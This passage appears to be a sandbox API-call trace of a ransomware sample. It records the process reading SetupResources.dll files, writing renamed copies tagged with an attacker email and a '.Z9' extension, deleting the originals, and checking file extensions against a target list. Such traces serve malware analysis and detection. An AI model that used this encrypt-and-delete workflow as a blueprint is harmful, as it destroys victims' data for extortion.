	[0071.037] ReadFile (in: hFile=0x334, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x4758, lpOverlapped=0x0) returned 1
	[0071.056] WriteFile (in: hFile=0x32c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x4760, lpOverlapped=0x0) returned 1
	[0071.057] ReadFile (in: hFile=0x334, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.057] WriteFile (in: hFile=0x32c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.057] SetEndOfFile (hFile=0x32c) returned 1
	[0071.058] CloseHandle (hObject=0x32c) returned 1
	[0071.059] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.060] SetEndOfFile (hFile=0x334) returned 1
	[0071.060] CloseHandle (hObject=0x334) returned 1
	[0071.061] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.061] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 1
	[0071.061] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0071.061] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0071.061] lstrlenW (lpString=".doc") returned 4
	[0071.061] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.061] lstrlenW (lpString=".docx") returned 5
	[0071.061] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.061] lstrlenW (lpString=".pdf") returned 4
	[0071.061] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.061] lstrlenW (lpString=".xls") returned 4
	[0071.061] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.061] lstrlenW (lpString=".xlsx") returned 5
	[0071.061] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.061] lstrlenW (lpString=".ppt") returned 4
	[0071.061] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.061] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0071.061] lstrlenW (lpString=".zip") returned 4
	[0071.062] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.062] lstrlenW (lpString=".rar") returned 4
	[0071.062] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.062] lstrlenW (lpString=".bz2") returned 4
	[0071.062] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.062] lstrlenW (lpString=".7z") returned 3
	[0071.062] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0071.062] lstrlenW (lpString=".dbf") returned 4
	[0071.062] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0071.062] lstrlenW (lpString=".1cd") returned 4
	[0071.062] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0071.062] lstrlenW (lpString=".jpg") returned 4
	[0071.062] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0071.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0071.062] lstrlenW (lpString=".doc") returned 4
	[0071.062] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.062] lstrlenW (lpString=".docx") returned 5
	[0071.062] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.062] lstrlenW (lpString=".pdf") returned 4
	[0071.062] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.062] lstrlenW (lpString=".xls") returned 4
	[0071.062] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.062] lstrlenW (lpString=".xlsx") returned 5
	[0071.062] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.062] lstrlenW (lpString=".ppt") returned 4
	[0071.062] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0071.062] lstrlenW (lpString=".zip") returned 4
	[0071.062] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.062] lstrlenW (lpString=".rar") returned 4
	[0071.062] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.063] lstrlenW (lpString=".bz2") returned 4
	[0071.063] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.063] lstrlenW (lpString=".7z") returned 3
	[0071.063] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0071.063] lstrlenW (lpString=".dbf") returned 4
	[0071.063] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0071.063] lstrlenW (lpString=".1cd") returned 4
	[0071.063] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45
	[0071.063] lstrlenW (lpString=".jpg") returned 4
	[0071.063] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.063] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.063] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.063] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0071.063] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=18776) returned 1
	[0071.063] CloseHandle (hObject=0x334) returned 1
	[0071.063] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80
	[0071.063] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.064] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0071.064] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.064] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.064] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0071.064] GetLastError () returned 0x0
	[0071.064] ReadFile (in: hFile=0x334, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x4958, lpOverlapped=0x0) returned 1
	[0071.200] WriteFile (in: hFile=0x32c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x4960, lpOverlapped=0x0) returned 1
	[0071.202] ReadFile (in: hFile=0x334, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.202] WriteFile (in: hFile=0x32c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.202] SetEndOfFile (hFile=0x32c) returned 1
	[0071.202] CloseHandle (hObject=0x32c) returned 1
	[0071.203] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.203] SetEndOfFile (hFile=0x334) returned 1
	[0071.204] CloseHandle (hObject=0x334) returned 1
	[0071.204] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.232] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 1
	[0071.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0071.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0071.233] lstrlenW (lpString=".doc") returned 4
	[0071.233] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.233] lstrlenW (lpString=".docx") returned 5
	[0071.233] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.233] lstrlenW (lpString=".pdf") returned 4
	[0071.233] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.233] lstrlenW (lpString=".xls") returned 4
	[0071.233] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.233] lstrlenW (lpString=".xlsx") returned 5
	[0071.233] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.233] lstrlenW (lpString=".ppt") returned 4
	[0071.233] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0071.233] lstrlenW (lpString=".zip") returned 4
	[0071.233] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.233] lstrlenW (lpString=".rar") returned 4
	[0071.233] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.233] lstrlenW (lpString=".bz2") returned 4
	[0071.233] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.233] lstrlenW (lpString=".7z") returned 3
	[0071.233] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0071.233] lstrlenW (lpString=".dbf") returned 4
	[0071.233] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0071.233] lstrlenW (lpString=".1cd") returned 4
	[0071.234] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0071.234] lstrlenW (lpString=".jpg") returned 4
	[0071.234] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0071.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0071.234] lstrlenW (lpString=".doc") returned 4
	[0071.234] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.234] lstrlenW (lpString=".docx") returned 5
	[0071.234] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.234] lstrlenW (lpString=".pdf") returned 4
	[0071.234] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.234] lstrlenW (lpString=".xls") returned 4
	[0071.234] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.234] lstrlenW (lpString=".xlsx") returned 5
	[0071.234] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.234] lstrlenW (lpString=".ppt") returned 4
	[0071.234] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0071.234] lstrlenW (lpString=".zip") returned 4
	[0071.234] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.234] lstrlenW (lpString=".rar") returned 4
	[0071.234] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.234] lstrlenW (lpString=".bz2") returned 4
	[0071.234] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.234] lstrlenW (lpString=".7z") returned 3
	[0071.234] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0071.234] lstrlenW (lpString=".dbf") returned 4
	[0071.234] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0071.234] lstrlenW (lpString=".1cd") returned 4
	[0071.234] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0071.234] lstrlenW (lpString=".jpg") returned 4
	[0071.234] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.235] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.235] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.235] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0071.307] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=17240) returned 1
	[0071.307] CloseHandle (hObject=0x310) returned 1
	[0071.315] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80
	[0071.316] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.316] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0071.316] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.316] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.316] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0071.316] GetLastError () returned 0x0
	[0071.316] ReadFile (in: hFile=0x310, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x4358, lpOverlapped=0x0) returned 1
	[0071.322] WriteFile (in: hFile=0x31c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x4360, lpOverlapped=0x0) returned 1
	[0071.323] ReadFile (in: hFile=0x310, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.323] WriteFile (in: hFile=0x31c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.323] SetEndOfFile (hFile=0x31c) returned 1
	[0071.324] CloseHandle (hObject=0x31c) returned 1
	[0071.325] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.325] SetEndOfFile (hFile=0x310) returned 1
	[0071.325] CloseHandle (hObject=0x310) returned 1
	[0071.326] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.326] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 1
	[0071.326] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0071.326] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0071.326] lstrlenW (lpString=".doc") returned 4
	[0071.326] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.326] lstrlenW (lpString=".docx") returned 5
	[0071.326] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.326] lstrlenW (lpString=".pdf") returned 4
	[0071.326] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.326] lstrlenW (lpString=".xls") returned 4
	[0071.326] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.326] lstrlenW (lpString=".xlsx") returned 5
	[0071.326] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.326] lstrlenW (lpString=".ppt") returned 4
	[0071.326] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.326] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0071.326] lstrlenW (lpString=".zip") returned 4
	[0071.326] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.327] lstrlenW (lpString=".rar") returned 4
	[0071.327] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.327] lstrlenW (lpString=".bz2") returned 4
	[0071.327] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.327] lstrlenW (lpString=".7z") returned 3
	[0071.327] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.327] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0071.327] lstrlenW (lpString=".dbf") returned 4
	[0071.327] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.327] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0071.327] lstrlenW (lpString=".1cd") returned 4
	[0071.327] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.327] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0071.327] lstrlenW (lpString=".jpg") returned 4
	[0071.327] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.327] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0071.327] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0071.327] lstrlenW (lpString=".doc") returned 4
	[0071.327] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.327] lstrlenW (lpString=".docx") returned 5
	[0071.327] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.327] lstrlenW (lpString=".pdf") returned 4
	[0071.327] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.327] lstrlenW (lpString=".xls") returned 4
	[0071.327] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.327] lstrlenW (lpString=".xlsx") returned 5
	[0071.327] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.327] lstrlenW (lpString=".ppt") returned 4
	[0071.327] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.327] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0071.327] lstrlenW (lpString=".zip") returned 4
	[0071.327] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.327] lstrlenW (lpString=".rar") returned 4
	[0071.327] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.327] lstrlenW (lpString=".bz2") returned 4
	[0071.327] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.327] lstrlenW (lpString=".7z") returned 3
	[0071.328] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.328] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0071.328] lstrlenW (lpString=".dbf") returned 4
	[0071.328] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.328] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0071.328] lstrlenW (lpString=".1cd") returned 4
	[0071.328] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.328] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0071.328] lstrlenW (lpString=".jpg") returned 4
	[0071.328] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.328] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.328] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.328] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0071.328] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=18264) returned 1
	[0071.328] CloseHandle (hObject=0x310) returned 1
	[0071.328] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80
	[0071.328] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.328] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0071.329] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.329] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.329] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0071.329] GetLastError () returned 0x0
	[0071.329] ReadFile (in: hFile=0x310, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x4758, lpOverlapped=0x0) returned 1
	[0071.355] WriteFile (in: hFile=0x31c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x4760, lpOverlapped=0x0) returned 1
	[0071.356] ReadFile (in: hFile=0x310, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.356] WriteFile (in: hFile=0x31c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.357] SetEndOfFile (hFile=0x31c) returned 1
	[0071.357] CloseHandle (hObject=0x31c) returned 1
	[0071.358] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.358] SetEndOfFile (hFile=0x310) returned 1
	[0071.359] CloseHandle (hObject=0x310) returned 1
	[0071.359] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.359] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 1
	[0071.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0071.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45
	[0071.359] lstrlenW (lpString=".doc") returned 4
	[0071.359] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.359] lstrlenW (lpString=".docx") returned 5
	[0071.359] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.359] lstrlenW (lpString=".pdf") returned 4
	[0071.359] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
